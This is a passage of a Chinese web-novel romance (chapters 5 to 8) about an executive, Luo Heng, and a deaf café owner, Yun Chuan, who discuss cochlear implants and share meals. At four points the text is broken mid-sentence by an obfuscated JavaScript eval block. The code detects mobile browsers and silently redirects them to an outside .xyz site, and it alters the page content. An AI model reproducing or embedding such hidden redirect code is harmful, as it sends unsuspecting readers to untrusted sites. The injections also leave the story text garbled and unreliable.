他又指了指骆恒手里的美式,【刚好剩下的边角料可以煮一杯美式,就顺便送你啦。】 “……”骆恒无奈,“你倒也不必这么坦诚。” 他邀请云川去办公室坐会儿,云川拒绝了:【你还是好好工作吧,不要以招待客人为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16189171|181047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 理由躲避工作。我要回家了,难得今天歇业。】 骆恒又想叹气了,“你真是哪壶不开提哪壶。行吧,那你路上小心。” 云川点点头。 他在骆恒的指挥下,没有再迷失在这层办公楼里。 看他等待电梯时,骆恒忽然想起贴纸的事。 “你那个贴纸,要几杯才能换啊?”他冲着云川的背影说。 当然,云川毫无知觉。 骆恒快步向电梯走去,手里的美式溅了几滴出来,弄脏了他的右手。 就差最后一步就要摸上云川的肩膀,这时,电梯到了。 云川踏进电梯间,扭头想跟骆恒挥挥手——结果一扭头就看到身后站着的人。 云川吓了一跳,脸上表情明显懵了一瞬。 平时明亮的杏眼里此刻装着一点恐惧,连眉毛都轻轻蹙着。他倒退两步,跌进电梯。 还差点绊倒。 骆恒赶紧伸手扶住他,尴尬地解释道:“……我是想问……” 想说的话最终还是吞回去了,“没什么,我送你下去吧。” 云川的神情很快恢复了正常,他摆摆手,说:【不用啦!你忙吧,回去的路我找得到。】 骆恒默默退出电梯。 想要贴纸的话也说不出口了。 骆恒回到办公室,在落地窗前看了很久,直到看到云川离开天茂集团,才回到座位上重新开始工作。 电脑从待机界面恢复正常,浏览器打开着,显示出了骆恒刚才在搜索的内容。 下午开会前,他正在查询人工耳蜗的价格。 云川这一突然出现,倒是把这件事忘了。 骆恒心里沉甸甸的,又忍不住回想起刚刚自己突然出现在那人背后,把他吓了一跳的情景。 听不到声音,真的不方便啊…… 他调出刚才市场部赵总推给他的电话号码,复制下来粘在和云川的聊天对话框里。 正准备按下发送键的时候,他忽然瞥见自己的手背。 不知道什么时候弄脏了,溅上了几滴咖啡。 骆恒下意识地往旁边看去—— 手边正是云川刚才送来的美式。 先前只顾着聊天,骆恒都没发现咖啡杯身画了一朵云彩。 这朵云戴着眼镜,面前是电脑,额角画了一个井字,正一脸生气地工作。 骆恒看笑了。 他把这朵云拍下来发给云川,质问道:“谁跟你说我工作时是这样的?” 云川很快回道:【不是这样的,不是这样的。我还美化了呢!】 几秒钟之后他又发了一张简笔画,还是那朵戴着眼镜的云。这次它更生气了,头顶居然还在喷火。 骆恒简直无话可说,回了一串省略号,又发了一个小蓝人竖拇指的表情,“你厉害,你厉害。” 云川回了一个“嘿嘿”的表情。 竟然又是一朵云! 骆恒满心疑惑,点进表情包的详情界面一看—— 不得了了,这个表情包作者的名字叫“一片云云云”,系列表情已经出到第八弹。 骆恒:“这个表情包的作者是你吗?” 云川回道:【是我啊,嘿嘿,一点小副业。】 骆恒挨个看过去。 说是副业,其实都是免费的。不过,大概是表情包上的这朵云实在太过可爱,底下的打赏名单很长一串。 骆恒把这八个系列的表情包通通下载下来,顺手打赏了10个200块。 ……又把今天的微信支付额度用光了。 这段对话结束之后,骆恒心里的犹豫全部消失。 他觉得,他知道应该怎么做了。 处理好手头的工作之后,骆恒拨出了电话。 “你好,你们这个人工耳蜗是怎么用的?” 5. 05 小云朵 虽然开着一家咖啡店,但云川本人对咖啡并不怎么感兴趣,他甚至有些轻微的咖啡因过敏,有时多喝几口都会心跳加速。 不知道是不是因为下午那杯焦糖玛奇朵,晚上云川失眠到很晚,后来终于睡着了,也一直在做梦。 梦里,他又梦见了秦铮,梦见了他们以前的生活。 秦铮失踪时他已经16岁了,半大少年心思敏感,很多事情他看在眼里,只是嘴上不说。 秦铮离开前,云芸曾有相当长的时间沉浸在自责和悲伤中。 那时候云川快中考了。 先前秦铮想办法,说是能让云川进入正常的高中,像普通学生那样学习生活,后来不知怎的,谈好的学校突然反悔,不肯再接收云川。 一向温婉恬静的女人一下子抓了狂。 她不会说话,连生气或自责都无法通过语言表达出来,只能歇斯底里地流着眼泪,责怪自己把耳聋的基因传给了唯一的孩子。 年轻时候不懂事,又总是抱着侥幸心理,觉得自己耳聋,孩子总是有概率健康的。 没想到,还是连累了儿子,他们母子两个这一辈子都只能“安静”地活着。 本来温馨的家庭,一夜之间变得可怖,每个人都如履薄冰,生怕哪句话又刺激到云芸脆弱的心。 好在云芸并没有在低沉的情绪里沉溺太久,她很快调整了心情,为自己前段时间的崩溃表示道歉。她说,她只是真的太自责了。 云川红着眼睛摇头,说,你给了我生命。 乌云笼罩的生活终于见了光,这个家恢复了往日的宁静和平和。 只是好日子没过几天,秦铮就不见了。 云川挣扎着从睡梦中醒来。 他拥着被子坐在床上发呆,眨了眨眼睛后,他伸手去床头拉开抽屉,拿出那张照片。 照片上的秦铮揽着他的肩膀,眼中尽是慈爱。 云川缩回被子里,用指腹抠了抠枕头。 薄薄的相片被他的动作带着掉到地上,云川赶紧起身去捡,又仔细擦干净上面的灰尘后,才小心放回抽屉里。 * 上次给云川打赏的那两千块钱,一天之后云川退了回来。 【-一片云云云:骆总啊,知道您有钱,不用这么客气……】 骆恒想说:不是客气,别人看直播时高兴了也会顺手打赏,我觉得这个表情挺可爱的,花点钱怎么了? 只是这话还没来得及发送出去,骆恒就被叫走开会了。 这会一开就是一下午,腾出空来再看看微信时,已经是晚上11点钟了。 骆恒想了想,估计云川的手机也会关联上手环,不想大晚上的因为这些无关紧要的小事再去打扰他,索性删掉了没发送出去的这几句话,也没有点开云川的转账。 反正一天之后转账就会过期了,自己只要不接收,想来云川也不能怎么样。 没想到的是,那天之后,云川竟再也没有联系过他。 一天过去、两天过去……整整四天时间,云川半点动静都没有。 当然并没有说必须要每天联系的意思,只是这短短几天时间相处下来,骆恒觉得云川应该会对这两千块钱说些什么。只是没想到,转账过期了,钱也自动退了回去,云川居然什么都没说。 骆恒并不在意这两千块钱——说句烦人的话,这两千块钱还没有骆恒一天的工资高——他在意的是,他随手的一个打赏,会不会伤到云川的自尊。 云川跟他客气两句后收下,或者又一次把钱给他转回来,这些都正常,但云川一声不吭,这就显得有点奇怪了。 骆恒思考了几分钟,决定亲自过去看看。 说起来,他也确实有点怀念火烧云的咖啡了。 * 去之前想过很多种可能性,不过,骆恒确实没想到,这次居然白跑一趟。 火烧云没有营业。 他这才意识到不对劲,也顾不上自己牢牢遵守的那点边界感,干脆发了条消息过去。 一向秒回的云川,今天隔了大概半个小时才有消息。 【-一片云云云:这两天都没开门,我生病了,害你白跑一趟QAQ】 骆恒盯着手机屏幕,眉毛皱得死紧。他问:【怎么生病了?】 云川发了个小哭脸——还是他自己创作的那朵云——回复道:【倒春寒,冻感冒了,有点发烧。我想着我都生病了,就休息两天,省得传染客人。】 【严重吗?】骆恒继续问,【吃药没,要不要去医院?我可以开车送你去。】 云川:【吃过药了,今天已经不烧啦!我明天会开店,想喝咖啡的话,明天可以来^ ^】 骆恒想,如果是为了喝咖啡,我并不需要跑这么远。 但最终他什么都没说,只回复了一句【你好好休息】,这段对话就结束了。 第二天,骆恒趁着午休的时候,开车去了火烧云。 云川果然重新营业了。 他停在路边,远远看着店里的老板和客人。 中午果然热闹,骆恒在这儿等了十五分钟,都没见云川休息一下下。 等到一点十几分的时候,店里的客人终于少了些,云川有了空闲,能跟客人聊上两句。 但他还是忙,掏出手机打字的频率低很多。 等到客人走得差不多了,骆恒熄了火,下车走进火烧云。 推开门的时候,云川的手环震了两下,他跟着抬头,看到骆恒时露出一个大大的笑脸。随后他不知按了哪里,吧台竖起一个小牌子:欢迎光临~ 这个小牌子,骆恒只在第一次来的时候见过,上面写了几句常用的话,像什么“可以自助点单”“老板不会说话但能看懂唇语”“欢迎下次再来”之类的。 骆恒走过去,用手撑着吧台,稍一用力,上半身探了过去。 他实在是好奇,操纵这个小牌子的开关到底在哪里。 突然靠近的距离让云川下意识地后退两步,两人之间的空隙倏然缩短,又因为云川的后退重新拉开。 骆恒这才意识到刚才两人的距离太近了些。 他退了回去,假装放松地坐在吧台前的转椅上,笑着解释说:“你那个小牌子挺有意思的,按一下就会弹起来吗?” 提到这个,云川来了兴致。他冲骆恒招招手,示意他过来看。 很简单的抽拉装置,内侧吧台装了几个小按钮,按一下牌子就会弹起来。 骆恒夸奖道:“很方便啊!” 云川得意地笑笑,掏出手机打了几个字:【我自己想的办法噢!不过我手太笨了,这个还是一个朋友帮我做的。我想增加几个常用词语的,比如“请收好零钱”这种词语现在就很不常用了啊,我想把它替换掉。但我手笨,实在不会弄,之前帮我弄的朋友在外地上大学,也没空帮我。】 他可怜巴巴地发了一个叹气的小云朵。 骆恒恍然大悟地点点头,说:“你可以——” 云川迅速打断他:【不可以,不求你,想都别想,走开!】 骆恒也是服了,“你怎么打字比我说话还快啊?” 他敲敲吧台的小门,对云川说:“让我进去,我看看。你顺便想想换什么句子,我帮你换。” 云川双手合十,笑得见牙不见眼,连字都顾不上打,啪叽一下拍出了一个小牌子,上面写着“谢谢”。 为了符合场景需要,云川把后面的“惠顾”两个字挡上了。 对于云川这种偶尔流露出来的小孩脾性,骆恒真的很受用。他看着云川,心里忽然涌上了“可爱”这两个字。 挺奇怪的,云川年纪不大,但怎么看都不是小孩子了,但是这点孩子气的可爱放在他身上,倒也不显得违和。 * 这个小牌子的设计非常简单,拧了螺丝换新的木板就可以。骆恒提议,如果想简单一点,干脆用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16189172|181047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 新的句子贴在木牌上盖住原先的话就行。 云川欲言又止:【……太丑了,我可以拒绝吗?】 当然是可以拒绝的。 于是那个中午,天茂骆总因为帮人做手工,翘了一小时的班。 小木牌换好了,云川还增加了两个新的表情。一个是喝咖啡的陶醉小人,一个是挥手说再见的笑脸小人。 卡通画画得很快,寥寥几笔,一个形象就画好了。 骆恒由衷夸奖道:“真好啊,你怎么做什么像什么?” 他指指咖啡机,说:“很会挑咖啡豆,手艺也很好。” 又指指手机里的云朵表情包,“画画也很可爱。” 云川可骄傲了,下巴都微微扬了起来。不过,得意的小表情只持续了几秒钟,他的神色很快变得复杂难以言说。 连打字速度都变慢了。 云川索性坐到骆恒身边,一边慢慢地打字一边让他看。 【这个啊…… 我觉得,煮咖啡也好,画画也好,都是需要静下心来慢慢做的事情,都是急不来的。】 写到这里,云川停顿了两秒。 【我听不到声音嘛,所以,反而能够静下心来做这些。】 他打完这段话,又很快删掉,转过头来冲骆恒点点头,像是在认同自己刚刚说的话。 骆恒看着他,突然后悔起自己刚刚的问题。 自从认识云川以来,他从没在这人身上见到过负面的情绪。不管是怨天尤人、自暴自弃,还是自怨自艾,什么都没有。除了交流时必须用手机或者纸张之外,云川和“正常人”没有任何区别。 但这一刻,骆恒感受到了云川压在心里的情绪。不浓烈,也不厚重,没有绝望,没有痛苦,甚至连遗憾都没有,他用轻松的状态打下这行字。 唯一泄露了一点难过的,只有给骆恒看过后就立刻删去这几句话的小动作。 骆恒无法描述此刻内心的想法,他看着云川的侧脸,看他又重新恢复了以往快乐的样子。 最终,骆恒只伸手帮云川捡走了一根掉在鼻梁上的长长的睫毛。 又过了几分钟,云川赶人了:【你不回去上班吗?都快两点了。】 骆恒点点头,起身准备离开。 临走前他说:“你晚上几点关店?我有个事想跟你商量一下,你看今晚有没有时间。” 挺正经的语气,云川有点惊讶,表情也跟着严肃起来:【哦,哦,很要紧吗?我有时间的,那我等你呀?】 骆恒捂了一把脸,“怎么还吓着了呢?别紧张,晚上我来跟你说。如果加班我提前告诉你,你也不要干等。” 云川迷茫地点了点头。 骆恒盘算着晚上要跟他说人工耳蜗的事,不知怎的心里有点小小的满足。 他又想起了自己心心念念的贴纸,干脆趁着这次把“报酬”一起要过来。 “云川老板,”骆恒换了个语气,说,“你那个贴纸,是几杯换一张啊?我能不能申请,提前换一张?” 云川真是想不到骆恒会问这个问题,但他很快又想起了骆恒“你求我啊求我我就帮你”的恶劣模样。于是他学着骆恒的表情,说:【你求我,求我我就给你。】 骆恒能屈能伸,“求你了云川老板,给我一张吧,我真的特别想要。” 表情之真挚真诚简直令人咋舌。 云川绷着脸看了他一眼,最后还是没忍住,笑了。 他站起来,趴在吧台上伸手去拿圆珠笔,之后冲骆恒勾勾手指,示意他把手腕递过来。 然后,他在骆恒疑惑的眼神里面,给骆恒的手腕内侧画了一朵小白云。 这朵云左手端着一杯正在冒热气的咖啡,右手拿着小木锤敲敲打打,脸上表情很淡定,只有额角在悄悄冒汗。 骆恒对他这种时不时抹黑自己的行为很是不满,但…… 算了,这片云还挺可爱的,就不跟他一般见识了。 6. 06 明天一起吃饭 骆恒心情很好地回了公司,平时觉得枯燥乏味的工作现在都变得眉清目秀了,也不知道在高兴什么。 他快速地处理好工作,还把一些不太重要、或者不紧急的事情延后再处理。 五点二十五分的时候,骆恒关了电脑,去卫生间丢了垃圾顺便洗干净手,就准备下班了。 洗手时正好碰到集团的某位总经理。打过招呼后,这位总经理新奇地盯着骆恒,问:“这么开心啊,赶着下班约会去?” 骆恒摆摆手,“您快别开玩笑了——这层楼除了您就是我下班最晚,我有没有时间约会你还不知道啊。” “可你这春风满面的,我看你就是谈恋爱了,别不承认了。”总经理调侃他。 说起来,骆恒年纪也不小了,到了今年底,他都28岁了。 他能力强,人也长得很有样,又这么会赚钱,简直是最佳男友人选。这几年公司的男男女女没少给他介绍过对象,都被骆恒婉拒了。 用的理由老套但无法反驳:“我忙起来连睡觉都没时间,谈哪门子恋爱。” 总经理也只是调侃几句,并没有真的打听些什么的意思,很快就离开了洗手间,留下骆恒一个人对着镜子整理衣领。 临走前他还是回头看了看骆恒——两人刚好在镜子里浅浅对视一眼,随后总经理点点他,露出一个“我懂了”的表情。 骆恒:“?” 他摇摇头,感慨到工作这么忙,同事们居然还有闲情逸致想这些。 他从抽纸机抽出两张纸擦手——又想起给云川讲自己修抽纸机时,那人笑得前仰后合的模样。 挺神奇的,明明是很普通的一件小事,说给别人听后,好像真的变得有趣起来。 骆恒笑笑,准备离开。 开车时骆恒才发现,云川给他画的小云朵花了一块。 不知道那圆珠笔墨水是不是有点特殊,总之,小云朵左手边冒着热气的咖啡杯不见了。 他趁着等红灯的时候拍了一张照片发给云川,问:【你这个圆珠笔怎么这么不持久啊。】 云川果然又秒回:【那个墨水有点特殊的,碰水就会掉。】 骆恒回:【一会儿给我补上。】 * 赶到店里的时候,还遇上了上次见过的那个小姑娘。 今天是周五,难得晚上没有晚自习,她早早来云川这里,蹭一点饮料和饼干。 骆恒到店的时候她正准备离开,背着书包蹦蹦跳跳拉开咖啡店的大门,顺便跟骆恒打了个招呼。 “拜拜叔叔!” 骆恒面无表情揪住她的书包带,“上次还是哥哥,今天怎么就变成叔叔了?” “……”小花说,“云川才是哥哥,你这个年纪,当然是叔叔了啊。” 说罢一溜烟跑走了。 骆恒看着她的背影叹气。 回过头来正好看到云川正叼着饼干坐在吧台前的转椅上看他笑话。 【呃,你要吃饼干吗?才刚烤好的。】云川把小碟子往旁边推了推,脸上表情写满了“不舍得分享”这几个字,【你尝尝看?我烤饼干的手艺也很不错。】 嘴角还粘着一小块饼干屑。 但小碟子里的饼干实在寒酸了些。完整的饼干一块都不剩,碟子里只躺着零零碎碎的饼干屑。 骆恒看了好笑,说:“你请我喝的咖啡是外卖点单剩下的边角料,给我吃的饼干是你和小花吃剩下的饼干渣,你觉不觉得你有点过分?” 云川认真地写道:【你再晚一点来,饼干渣都没有剩了!】 之后,他在骆恒无语的表情里笑弯了眼睛。 * 【骆恒,你想说什么呀?】 饼干吃完了,店里也再没有其他客人了,云川眨眨眼睛,终于问了这个问题。 骆恒组织着语言,冲他笑笑,说:“你不要这么紧张,不是什么太要紧的事,就是……” 他摸摸自己的耳朵,即便知道云川听不到,也还是放低了声音,“我想问你,有没有想过像……” 他想说“像正常人一样生活”,话到嘴边拐了个弯,换了一种说法。他说:“你会不会好奇,如果有听觉,世界会变成什么样?” 云川盯着他看了几秒,缓缓绽开一个微笑。他用手机备忘录,慢慢地打着字。 【你说这个啊……说实话,当然好奇啦,怎么可能不好奇呢?如果有机会,我也想知道“听”这个动词到底是怎么做的。】 云川挠挠头,笑得很温和,继续写道:【要是说从来没想过和普通人一样能听到声音也会说话,那也太假了吧。但是……】 他锁了手机,垫在下巴上,不知道在看着哪里发呆。 过了很久很久,他放下手机,没有再用手机打字,而是用双手比了一连串复杂的手势。 他看着骆恒疑惑的神情,抿着嘴低头笑了笑,按亮手机飞快地打了几个字递给骆恒看。 【是“我很喜欢现在的生活”的意思!】 云川又说:【其实,我的生活也没有太多不方便。我能看懂你们在说什么,和别人交流虽然有点麻烦,但不影响的。而且我还有这个——】 他抬抬手,给骆恒看手腕上的手环,【日常生活真的没有什么不方便的。】 骆恒觉得他在骗人。 上次自己跟在他身后进了电梯,不是把他吓了一跳吗。 脸都吓白了。 只是骆恒心里那点边界感又在作祟,他早就习惯用九句客套的、好听的话裹着一句自己真心想说的、或许不那么好听的话。 他说:“你这个手环真的不错,很方便,日常生活用它确实也够了。不过……” 他话还没说完,云川的下一段话又打好了。 【我这个没有办法治的。】他坦诚道,【以前,就是十几岁的时候,爸爸带我去了解过人工耳蜗的事情,但……】 云川想说的话停在这里,久久没有下文。 骆恒也不催他,就坐在一边等着。他趁这个空当,难得仔细地打量着云川的侧脸。 看得出来是刚病过一场,脸色还有点苍白,下巴好像也比之前尖了一点。 骆恒很难得这样仔细观察一个人的长相——他对外貌不怎么看重,也很少发自内心地觉得哪个人真的好看。 不过,他知道云川是真的好看。 和大部分男性的硬朗不同,云川的长相更柔和,也更精致。 他的视线从云川遮住了眼睛的长睫毛下滑到饱满的唇珠,最后落在那人微微上翘的嘴角。 骆恒还记得,刚刚那里粘着一小块饼干屑,应该是焦糖味的。 【总之,原因很复杂啦!】云川忽然把手机递到骆恒面前,【最近这一两年,应该先不会考虑人工耳蜗的事情了,不过还是谢谢你呀!】 骆恒艰难地把思绪拉回到这件正经事上来,他迟钝地反应了两秒,才问道:“什么复杂的原因,能告诉我吗?” 他问得真挚,云川很难摇头说不。 【很多原因吧……】云川撑着下巴,只用左手打着字,【最主要的是,钱确实不太够……你还记得我妈妈吧?上次见过面的。她也听不到的。】 骆恒想起了上次那位中年女人,她和云川一样,纤细得像是能被风 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16189173|181047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吹倒。 云川继续说:【植入一个人工耳蜗已经很贵了,两个……我们真的负担不起呀!】 骆恒说:“也不一定非要同时,还有,你刚刚不是说,之前也了解过吗,之后呢?没有后续了吗?” 【了解过,但那个时候我才14岁,太小了,医生说最好再过几年。】云川犹豫着写道,【但是后来……】 云川没有再说什么,反而删掉了刚才那几个字,又重新写道:【总之,谢谢你的关心,等我再存点钱,会带我妈妈一起去植人工耳蜗。嘿嘿!】 顺带发了一个小云朵加油的表情。 骆恒在心里算了一下这间咖啡店和那几个表情包能给云川带来多少收入,他怎么算怎么觉得云川这是换了个委婉的方式拒绝。 骆恒心里忽然有些烦躁,说话的语气也带上了一丝不耐,“如果只是钱的问题,你不用太担心,我有个朋友在做这行,可以用成本价给你做,价格也可以分期,你不要太担心……” 只是这话没说完。 他看到云川看向自己的表情逐渐变得忐忑。 ……他忽略了,云川听不到声音,无法判断自己说话的语气,但不代表他不会察言观色。或者说,听觉的缺失会让他对表情所带来的情绪变化更加敏感。 骆恒搓了搓脸,放松表情,说:“我只是想说,如果只是因为钱,那你完全可以不必担心,我可以帮你想办法,不会让你因为人工耳蜗而变得负债累累。” 云川看着他,谨慎地点了点头。不知道他是不是故意的,嘴巴也微微噘着,小模样看着有点可怜。 也很乖。 骆恒心里那点莫名其妙的火顿时消失不见。 他避开云川的视线,心想,自己刚刚这是怎么了。 云川并没有在意骆恒刚才的坏脾气,他两只手捧着手机,认真打字。 【谢谢你哦,人工耳蜗的事情我会考虑的,等过两年手头再宽裕一点也有合适资源的时候,嗯……】他不好意思地摸摸鼻子,笑着看向骆恒,手机屏幕也悄悄递了过来,【那时候你还愿意帮我问问吗?】 “……”骆恒端起手边的咖啡喝了一口,低头说,“好,那到时候你记得找我。” 那天晚上他们没有聊太久。 骆恒想着云川才生过病,早早催他回去休息。 “本来今天晚上想请你吃饭的,但刚才看你一直咳嗽,我想,还是不要在外面吃东西了。”骆恒帮云川检查好了店里的水电,跟他一前一后离开咖啡店,怕他看不到自己在说什么,还特意背过身来反着走,他说,“其实我做饭手艺很好的,只是现在家里没有菜,如果现在才去买,做完估计要九点了。” 云川:? 骆恒看他这一脸懵懵的表情就好笑,“明天晚上我请你吃饭,怎么样?虽然现在不怎么做了,但我烧菜的手艺真的不错,不骗你。” 云川想了想,点点头,【好,不过中午可以吗?晚上我妈妈在家,我想陪她一起吃饭。】 他挠挠头,又写,【家里只有我们两个人,我不想让她自己吃晚饭QAQ】 骆恒看着这行字,心里有点发酸,但还是挤了个微笑,“好啊,那就中午,我都可以,听你的。” 云川发了一个小云朵欢呼的表情,【那就说定啦,明天中午!】 临走前骆恒当然没有忘记手腕上的小白云。 “明天给我贴纸,我要很多张,不许再拿这个沾水就掉的东西敷衍我。” 云川撇撇嘴,【好吧好吧,明天给你十张,十张可以了吧!】 骆恒带着浅浅笑意看他,点头说“可以”。 7. 07 一点小情话 骆恒长了一张“君子远庖厨”的脸,但真的烧起菜来确实很像那么回事:切菜的动作很熟练,倒油下锅一气呵成,甚至还会颠勺。 【你还会做饭哦?那你平时都自己做饭吗?】云川在旁边跟着瞎忙活。 骆恒说:“你看我像有时间自己做饭的人吗?平时都吃公司食堂。” 【也是,你的厨房看起来很干净,一看就不是经常做饭的厨房。】 骆恒起锅装盘,回头说:“那你还不谢谢我?难得下一次厨就便宜你了。” 云川得意地笑笑。 两个人的菜不需要太多花样,很家常的四个菜,外加一锅文火熬煮的鸡丝稀饭。考虑到云川刚生过病,特意做得很清淡。 骆恒解了围裙坐到餐桌前,好好享受了一番云川崇拜的眼神。 【我刚刚有偷吃一点点,】云川咬着筷子给他看手机屏幕,【味道也很不错哎。真好,不像我,我就不会做饭。】 骆恒惊讶道:“你不会做饭吗?你的饼干烤得很好吃啊。” 【饼干不需要什么手艺啦,只要有烤箱、只要把原料按比例放进去,就不会失败。】他一边打字,一边夹了一块清蒸鱼放进嘴里,眯着眼睛夸奖道,【好吃好吃,这道菜最好吃!】 “这个最好吃吗?”骆恒闻言又从鱼腹上夹了一筷子递到云川的碗里,说,“这个就和你的烤饼干一样,调料放得对,再上蒸锅蒸,就不会有太大问题。” 说罢,他指指厨房的大家伙,“就是那个,蒸烤一体的机器,放进去就行了。” 云川的眼神跟着骆恒飘进了厨房——他刚才就对这个一体机跃跃欲试。 【很好用吗?我店里有一个烤箱,之前还想给家里买一个呢。】 “好用,但我不常用,一直放那儿积灰。” 云川眼巴巴盯着厨房,一副非常想要的样子。 他说:【我也想买一个,但会有一个问题……它放在厨房里,我又听不到声音,怎么判断它烤好没有呢?店里因为一直照看着,不会忘,但放在家里,我老怕会忘记烤着东西。】 说是习惯了这样的生活,说是没有太多不方便,实际上还是不可能不受到影响。 云川说完这些,很快又被其他的菜吸引住。他对骆恒的手艺赞不绝口,还说第九弹表情包要画烧菜的小云朵。 埋头吃饭时的他依然能飞快地打着字,左手简直像在手机屏幕上跳舞,每隔几秒就要给骆恒看看自己对某道菜的最新见解。 骆恒笑着看他,只是那些话并没怎么看进去。 他一直在想,怎么让云川安心地用上烤箱。 * 可能是脑袋里一直在想别的,骆恒吃得很慢,偏偏云川还在一直跟他说话。 【你好像很会烧菜哦,看你很熟练的样子。】打字不影响吃饭,他早早地吃光了自己碗里的东西,在一旁给骆恒捣乱。 “之前在国外,吃不惯,就只能自己做。”骆恒说,“回来之后工作忙,几乎不做了,手生了不少。” 云川:【我还以为今天中午是火锅呢!嘿嘿,你看起来就像是只会烫火锅的人。】 骆恒瞥了他一眼,递了一个警告的眼神,没再回答。 云川无聊地看了一会儿手机,又继续回来骚扰骆恒。 【哎哎,好遗憾哦,我到现在都没坐过飞机。】云川苦恼地撑着头,写道,【我也没有坐过高铁或者动车,我都没有离开过本市!】 他放下手机趴在桌上,扁了扁嘴。 想想也是,以云川的特殊情况,不管是单独出门还是和母亲一起,都不是一件方便的事。 骆恒咽下嘴里的菜,按按他的头顶,说:“你很想出去吗?” 云川点头。 骆恒想了想,掏出手机看看日历,“如果你放心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16189174|181047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的话——不如今年夏天我们一起出去玩啊。” 他冲云川晃晃手机,说:“八月我休年假,可以出去逛逛,要不要一起?” 云川的表情肉眼可见地变得开心,他甚至小小地吸了一口气。 他拖着椅子坐到骆恒旁边,惊喜地问:【可以吗?真的可以吗?会不会太麻烦你?带上我会不会有很多不方便?】 “有什么方便不方便的——哎哎,躲开,挡着我盛汤了,”骆恒说,“‘日常生活没有什么不方便的’,这不是你自己说的吗?” 云川不好意思地摸摸鼻子,【我怕给你添麻烦……我总归和其他人不一样,各种方面上……所以……】 骆恒按住他的手,没让他继续打后面的字,甚至把他的手机锁了屏放到一旁,不再让他继续对这件事说些什么。 他在云川忐忑又期待的眼神中说:“你就负责想想看去哪里,其他的我来安排。” 云川笑弯了眼睛,很乖巧地比了一个拜托的手势。 之后,骆恒使唤云川去洗碗。 云川本人倒是没什么意见——毕竟吃人家嘴短。 不过到了厨房才发现,骆恒居然还有一台洗碗机。 云川不满地看着骆恒,在心里痛斥资本家的奢侈。 把碗碟放进洗碗机后,云川噔噔噔回到餐厅找自己的手机。他看了一眼大爷状坐在沙发上的骆恒,试图用眼神恐吓他。 并没有什么用,还要低声下气问他把自己的手机藏到哪里了。 骆恒看了他一眼,从沙发缝里掏出手机递了过去。 好恶劣啊这个人……云川想,还把自己的手机藏到沙发缝里。 他按亮手机,正要打字表达怨念时,却发现备忘录上多了一行字。 骆恒在自己洗碗的时候悄悄写了一句话。 他说,你和其他人没什么不一样的,你不会给我添麻烦。 8. 08 谢谢你呀 云川攥着手机,心里有点酸。他看向骆恒—— 不知道那人是真的不觉得自己刚刚写下的那几句话值得一个感谢,还是在故作镇定,总之,骆恒一脸淡定地坐在沙发上看手机,完全没有注意到一旁站着的云川脸上丰富的表情。 云川抿了抿嘴,偷偷露出一个微笑。 他一脸正经地坐在餐桌旁,把手机横过来在上面涂涂画画。 几分钟之后,骆恒收到一条新消息。 是张图片。 那个一脸正经严肃额角却悄悄冒汗的小云朵又一次出现,这次,它右手挥着小菜刀,左手握着一尾鱼,正在烧菜。 角落有个更小的云朵,两只小手托着下巴,两只眼都在冒星星,头顶一圈感叹号。 骆恒看笑了。 他顺手保存了这张小表情包,嘴角越咧越开。 最后还笑出声了。 【对了对了,给你这个!】云川跑过来给他看了一眼手机屏幕,又赶快跑去玄关翻自己的包包,从里面掏出一大贴纸递给骆恒,【给你给你,够你贴一年的。】 骆恒接过贴纸,又抬头看了一眼云川的包包。 一个米白色的帆布包,留白区域很多,只在最中间的位置画了一朵云。这朵云背着双肩包,手里举着一杯饮料,一副干劲满满的表情。 没猜错的话,这包应该也是云川自己画的。 察觉到了他的眼神,云川得意洋洋地写道:【这个包也是我们店里的商品哦!】 不过他很快又变得苦恼起来,【之前合作的师傅回乡下带孩子了,还没有找到合适的新师傅,这个包包现在就没再上了。一直有老顾客在问呢!大家都在催,我也好着急!】 据云川介绍,这包很便宜,停产之前卖35块钱一个。包包很大,装书本装电脑装伞都可以,完全能满足日常需要。帆布材质耐脏又好清洗,卖得便宜用坏也不心疼。 